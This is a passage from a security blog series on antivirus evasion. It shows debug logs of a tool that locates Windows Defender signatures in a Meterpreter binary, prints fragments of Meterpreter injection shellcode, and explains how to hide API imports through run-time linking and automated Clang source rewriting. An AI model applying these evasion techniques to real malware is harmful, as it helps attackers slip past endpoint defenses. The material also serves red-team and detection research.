00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:335] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:331] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:335] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:41,182][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpuqgr4pyb...
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:41,417][pe_utils.py:157] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpz4xqjxpi...
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:46,983][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:47,044][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:52,377][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpe3g3inki...
[DEBUG   ][2021-08-28 17:12:52,377][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:52,378][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:52,378][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:52,571][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:52,637][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:57,946][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp3uzv03yw...
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:58,148][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:58,205][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpynvakvrg...
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:03,711][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:03,773][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpqg26sa32...
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:09,280][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:09,334][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:13:14,691][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmphtzs4acy...
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:14,864][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:14,934][pe_utils.py:157] hide_bytes() :: Hiding 289 bytes @ 138496
[DEBUG   ][2021-08-28 17:13:20,336][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpv1pa0e29...
[DEBUG   ][2021-08-28 17:13:20,336][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:20,482][antivirus_debugger.py:182] global_vars_analysis() :: False - Nothing
[INFO    ][2021-08-28 17:13:20,483][antivirus_debugger.py:184] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 70] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[INFO    ][2021-08-28 17:13:20,483][antivirus_debugger.py:190] global_vars_analysis() :: Done ! You should patch these bytes:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 81] display() :: 608 bytes @ 137888:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 86] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 81] display() :: 289 bytes @ 138496:
[INFO    ][2021-08-28 17:13:20,484][pe_utils.py: 86] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..

So, our tool shows two distinct variables that together trigger Windows Defender’s detection. However, they do not stand out as straight out malicous. To explain this result, we could either disassemble these bytes, or reflect that since they are located in the .data section, then they are used as initialised data by a function in the .text section. A simple grep inside the Meterpreter codebase reveals that we’re looking at two shellcodes:

grep -arA 5 'FC\\x80' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE apc_stub_x64[] =        "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
grep -arA 5 'FC\\x48' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"

A simple xor encrpytion on these shellcodes suffices to make the detection go away, while keeping it functional.

Closing thoughts

That’s about it for the way our tool works. It is however held together with hope and duct tape, so don’t expect it to work out-of-the-box for your specific use case. Instead, consider it as a library to quickly pinpoint your antivirus detection’s strategy if the detection is made statically, and then run the different analysis to attempt to dump the signatures, or build a new one for your AV if it works a bit differently. We hope we’ll have the chance to continue improving it!

Vladimir Meier / @plowsec

Engineering antivirus evasion (Part II)

By: plowsec
15 July 2020 at 14:33

tl;dr To interact with the Windows operating system, software often import functions from Dynamic Link Libraries (DLL). These functions are listed in clear-text in a table called Import Address Table and antivirus software tend to capitalise on that to infer malicious behavioural detection. We show ideas and implementation of an obfuscator that allows to refactor any C/C++ software to remove this footprint, with a focus on Meterpreter. The source code is available at https://github.com/scrt/avcleaner.

Introduction

In a previous blog post, we showed how to replace string literals in source code accurately without using regexes. The goal is to reduce the footprint of a binary and blind security software that relies on static signatures.

However, apart from string literals in the source code itself, there are plenty of other fingerprints that can be collected and analysed statically. In this blog post, we will show how one can hide API imports manually from a binary, and then automate the process for every software written in C/C++.

The problem with API imports

Let us write and build a simple C program that pops up an alert box:

#include <Windows.h>
int main(int argc, char** argv) { 
    MessageBox(NULL, "Test", "Something", MB_OK);
    return 0;
}

Then, build with your favorite compiler. Here, MinGW is used to cross-build from macOS to Windows:

x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe

Afterwards, one can list the strings using rabin2 (included in radare2), or even the GNU strings utility:

rabin2 -zz /tmp/toto.exe | bat

 205   │ 201  0x00003c92 0x00408692 7   8    .idata        ascii   strncmp
 206   │ 202  0x00003c9c 0x0040869c 8   9    .idata        ascii   vfprintf
 207   │ 203  0x00003ca8 0x004086a8 11  12   .idata        ascii   MessageBoxA
 208   │ 204  0x00003d10 0x00408710 12  13   .idata        ascii   KERNEL32.dll
 209   │ 205  0x00003d84 0x00408784 10  11   .idata        ascii   msvcrt.dll
 210   │ 206  0x00003d94 0x00408794 10  11   .idata        ascii   USER32.dll
...

9557   │ 9553 0x0004f481 0x00458e81 30  31                 ascii   .refptr.__native_startup_state
9558   │ 9554 0x0004f4a0 0x00458ea0 11  12                 ascii   __ImageBase
9559   │ 9555 0x0004f4ac 0x00458eac 11  12                 ascii   MessageBoxA
9560   │ 9556 0x0004f4b8 0x00458eb8 12  13                 ascii   GetLastError
9561   │ 9557 0x0004f4c5 0x00458ec5 17  18                 ascii   __imp_MessageBoxA
9562   │ 9558 0x0004f4d7 0x00458ed7 23  24                 ascii   GetSystemTimeAsFileTime
9563   │ 9559 0x0004f4ef 0x00458eef 22  23                 ascii   mingw_initltssuo_force
9564   │ 9560 0x0004f506 0x00458f06 19  20                 ascii   __rt_psrelocs_start

As evident from the console output shown above, the string MessageBoxA appears three times. This is due to the fact that this function must be imported from the library User32.dll (more on this later).

Of course, this string in particular is not susceptible to raise an antivirus’ eyebrows, but that would definitely be the case for APIs such as:

  • InternetReadFile
  • ShellExecute
  • CreateRemoteThread
  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory

Hiding API imports

Before going further, let us recapitulate the different ways available to developers to call functions in external libraries on Windows systems [1]:

  • Load-time dynamic linking.
  • Run-time dynamic linking.

Load-time dynamic linking

This is the default approach to resolve function in external libraries and is actually taken care of automatically by the linker. During the build cycle, the application is linked against the import library (.lib) of each Dynamic Link Library (DLL) it depends on. For each imported function, the linker writes an entry into the IAT for the associated DLL.

When the application is started, the operating system scans the IAT and maps all the libraries listed there in the process’ address space, and the addresses of each imported function is updated to point to the corresponding entry in the DLL’s Export Address Table.

Import Address Table (IAT)

Run-time dynamic linking

An alternative is to do it manually by first loading the corresponding library with LoadLibrary, and then resolving the function’s address with GetProcAddress. For instance, the previous example can be adapted in order to rely on run-time dynamic linking.

First, it is necessary to define a function pointer for the API MessageBoxA. Before jumping into that, let us share a small trick to remember the syntax of function pointers in C for those of us that find it unintuitive:

<return type> (*<your pointer name>)(arg1, arg2, ...);

As you can see, it is the same syntax used to define functions, apart from the star operator (because it is a function pointer) and the parenthesis.

Now, we need the prototype of MessageBox, which can be copy-pasted from winuser.h from the Windows SDK or straight from MSDN:

int MessageBox(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

Now, the aforementioned function pointer syntax can be updated with the correct information:

int (*_MessageBoxA)(
    HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);

MSDN tells us that this function is exported by User32.dll:

The API MessageBoxA is exported by User32.dll.

So, the application must first load this library:

HANDLE hUser32 = LoadLibrary("User32.dll");

Then, GetProcAddress can finally be used to assign the correct address to the function pointer defined above:

_MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");

From there, the original example must be adapted to call fMessageBoxA instead of MessageBoxA, which gives:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

int main(int argc, char** argv) {

    HANDLE hUser32 = LoadLibraryA("User32.dll");
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;
}

The Windows.h include is only required for the data types HWND, LPCTSTR and UINT. Building and running this simple example spawns an alert box, as expected:

Simplest example of using LoadLibrary and GetProcAddress for run-time dynamic linking.

Final adaptation

Of course, running strings on toto.exe will still yield the strings “User32.dll” and “MessageBoxA”. So, those strings should ideally be encrypted, but the simple obfuscation trick shown in the previous blog post suffices to bypass antivirus detection. The end result would be:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

int main(int argc, char** argv) {

    char user32[] = {'U','s','e','r','3','2','.','d','l','l',0};
    HANDLE hUser32 = LoadLibraryA(user32);

    char messabox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, messabox);
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;
}

This time, neither strings nor rabin2 are able to find the string (although a reverse-engineer sure will):

➜  x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe
➜  strings /tmp/toto.exe | grep MessageBox
➜  rabin2 -zz /tmp/toto.exe | grep MessageBox
➜  

Automated source code refactoring

The same approach lengthily described in the previous blog post can be used to refactor an existing code-base, so that suspicious API are loaded at runtime and removed from the Import Address Table. To do that, we will build upon the existing work realised with libTooling.

Let us break down this task as follows:

  • Generate the Abstract Syntax Tree for the previous, original example. This is required to understand how to manipulate the nodes to replace a function call.
  • Locate all the function calls in a code-base for a given API with an ASTMatcher.
  • Replace all the calls with another function identifier.
  • Insert LoadLibrary / GetprocAddress calls just before each function call.
  • Check that it works.
  • Generalise and obfuscate all the suspicious API.

The MessageBox application’s Abstract Syntax Tree

To view Clang’s Abstract Syntax Tree for the original MessageBox application, let us use that script (adapt the path to your Windows SDK):

WIN_INCLUDE="/Users/vladimir/dev/avcleaner"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fdebug-compilation-dir"\
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

And run it:

bash clang-astdump.sh test/messagebox_simple.c > test/messagebox_simple.c.ast
Clang Abstract Syntax Tree for a simple application that calls the API MessageBoxA.

Locating function calls in source code basically amounts to finding AST nodes of type CallExpr. As pictured on the screenshot above, the function name that is actually called is specified in one of its child nodes, so it should be possible to access it later on.

Locate function calls for a given API

ASTMatcher is just what we need in order to enumerate every function call to a given function. First, it is important to get the syntax right for this matcher, since it is a bit more complicated that the one used in the previous blog post. To get it right, I relied on clang-query, which is an invaluable interactive tool that allows to run custom queries on source code. Interestingly, it is also based on libTooling and is much more powerful than what is showcased in this blog post (see [2]).

clang-query> match callExpr(callee(functionDecl(hasName("MessageBoxA"))))

Match #1:

/Users/vladimir/dev/scrt/avcleaner/test/messagebox_simple.c:6:5: note: "root" binds here
    MessageBoxA(NULL, "Test", "Something", MB_OK);
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 match.
clang-query>

Trial-and-error and tab completion suffice to converge quickly to a working solution. Now that the matcher is proven to work well, we can create a new ASTConsumer just like we did in the previous blog post. Basically, its job is to reproduce what we did with clang-query, but in C++:

class ApiCallConsumer : public clang::ASTConsumer {
public:

    ApiCallConsumer(std::string ApiName, std::string TypeDef, std::string Library)
            : _ApiName(std::move(ApiName)), _TypeDef(std::move(TypeDef)), _Library(std::move(Library)) {}

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        
        using namespace clang::ast_matchers;
        using namespace AVObfuscator;

        llvm::outs() << "[ApiCallObfuscation] Registering ASTMatcher for " << _ApiName << "\n";
        MatchFinder Finder;
        ApiMatchHandler Handler(&ASTRewriter, _ApiName, _TypeDef, _Library);

        const auto Matcher = callExpr(callee(functionDecl(hasName(_ApiName)))).bind("callExpr");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }

private:
    std::string _ApiName;
    std::string _TypeDef;
    std::string _Library;
};

An implementation detail that we found important was to offer the possibility to match many different functions, and since the end game is to insert LoadLibrary / GetProcAddress for each replaced API function, we need to be able to supply the DLL name along the function prototype.

Doing so allows to elegantly register as many ASTConsumers as there are API to replace. Instantiation of this ASTConsumer must be done in the ASTFrontendAction:

Minor modifications of main.cpp.

This is the only modification required on the existing code that we did in the previous blog post. From there, everything else can be realised as a bunch of code that we will add, starting with the creation of ApiMatchHandler.cpp.
The matcher must be provided with a callback function, so let us give it one:

void ApiMatchHandler::run(const MatchResult &Result) {

    llvm::outs() << "Found " << _ApiName << "\n";

    const auto *CallExpression = Result.Nodes.getNodeAs<clang::CallExpr>("callExpr");
    handleCallExpr(CallExpression, Result.Context);
}

The task broken down as a list of steps in the beginning of the section can be transposed in code, for instance with the following methods:

bool handleCallExpr(const clang::CallExpr *CallExpression, clang::ASTContext *const pContext);

bool replaceIdentifier(const clang::CallExpr *CallExpression, const std::string &ApiName,
                        const std::string &NewIdentifier);
bool
addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                    const std::string &NewIdentifier, std::string &ApiName);

clang::SourceRange findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                        const clang::CallExpr &Literal, uint64_t Iterations);

Replace function calls

This is the most trivial part. The goal is to replace “MessageBoxA” in the AST with a random identifier. Initialisation of this random variable is done in the subsequent section.

bool ApiMatchHandler::handleCallExpr(const CallExpr *CallExpression, clang::ASTContext *const pContext) {

    // generate a random variable name
